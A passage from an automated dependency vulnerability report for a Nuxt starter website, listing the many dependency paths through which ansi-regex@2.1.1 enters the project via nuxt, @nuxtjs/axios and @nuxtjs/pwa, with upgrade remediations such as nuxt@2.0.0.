    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-reduce-transforms@1.0.4 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-svgo@2.1.6 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-unique-selectors@2.0.2 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-zindex@2.2.0 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-core@6.26.3 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-core@6.26.3 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › autoprefixer@6.7.7 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-calc@5.3.1 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-colormin@2.2.2 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-convert-values@2.6.1 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-comments@2.0.4 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-duplicates@2.1.0 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-empty@2.1.0 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-overridden@0.1.1 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-unused@2.2.3 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-filter-plugins@2.0.3 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-merge-idents@2.1.7 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-merge-longhand@2.0.2 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-merge-rules@2.1.2 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-minify-font-values@1.0.5 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-minify-gradients@1.0.5 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-minify-params@1.2.2 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-minify-selectors@2.1.1 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-normalize-charset@1.1.1 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-normalize-url@3.0.8 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-ordered-values@2.2.3 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-reduce-idents@2.4.0 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-reduce-initial@1.0.1 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-reduce-transforms@1.0.4 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-svgo@2.1.6 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-unique-selectors@2.0.2 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-zindex@2.2.0 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › webpack@3.12.0 › yargs@8.0.2 › cliui@3.2.0 › wrap-ansi@2.1.0 › string-width@1.0.2 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to nuxt@2.3.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › webpack@3.12.0 › yargs@8.0.2 › cliui@3.2.0 › string-width@1.0.2 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › webpack@3.12.0 › yargs@8.0.2 › cliui@3.2.0 › wrap-ansi@2.1.0 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-core@6.26.3 › babel-helpers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-core@6.26.3 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › autoprefixer@6.7.7 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › autoprefixer@6.7.7 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-calc@5.3.1 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-calc@5.3.1 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-colormin@2.2.2 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-colormin@2.2.2 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-convert-values@2.6.1 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-convert-values@2.6.1 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-comments@2.0.4 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-discard-comments@2.0.4 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-duplicates@2.1.0 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-discard-duplicates@2.1.0 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-empty@2.1.0 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-discard-empty@2.1.0 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-overridden@0.1.1 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-discard-overridden@0.1.1 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-unused@2.2.3 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-discard-unused@2.2.3 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-filter-plugins@2.0.3 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-filter-plugins@2.0.3 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-merge-idents@2.1.7 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-merge-idents@2.1.7 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-merge-longhand@2.0.2 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-merge-longhand@2.0.2 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-merge-rules@2.1.2 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-merge-rules@2.1.2 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-minify-font-values@1.0.5 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-minify-font-values@1.0.5 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-minify-gradients@1.0.5 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-minify-gradients@1.0.5 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-minify-params@1.2.2 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-minify-params@1.2.2 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-minify-selectors@2.1.1 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
